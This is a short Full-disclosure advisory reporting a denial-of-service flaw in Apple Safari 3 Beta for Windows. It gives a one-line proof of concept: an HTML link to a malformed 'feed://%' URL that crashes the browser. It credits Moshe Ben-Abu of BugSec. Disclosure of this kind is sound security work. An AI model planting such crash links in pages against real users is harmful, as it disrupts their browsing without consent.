[Full-disclosure] Apple Safari for Windows feed:// URL Denial of Service Vulnerability

Apple Safari for Windows feed:// URL Denial of Service Vulnerability

Versions: Apple Safari For Windows 3 Beta

Apple Safari for Windows is prone to a denial-of-service vulnerability
because it fails to properly handle crafted feed:// link.

Proof-of-Concept: .
Link: feed://%
Exploit: <a href="feed://%">DoS</a>
Yes, this will crash Safari. Yes, it's that easy.
Note that this doesn't work with http://, ftp://, gopher:// and etc'.

Reference:
http://www.rec-sec.co.il/2007/06/12/apple-safari-for-windows-vulnerabilities/#exp

Credit:
Moshe Ben-Abu of BugSec is credited with discovering this vulnerability.

Vendor has been notified.

–
Moshe Ben-Abu :: Trancer
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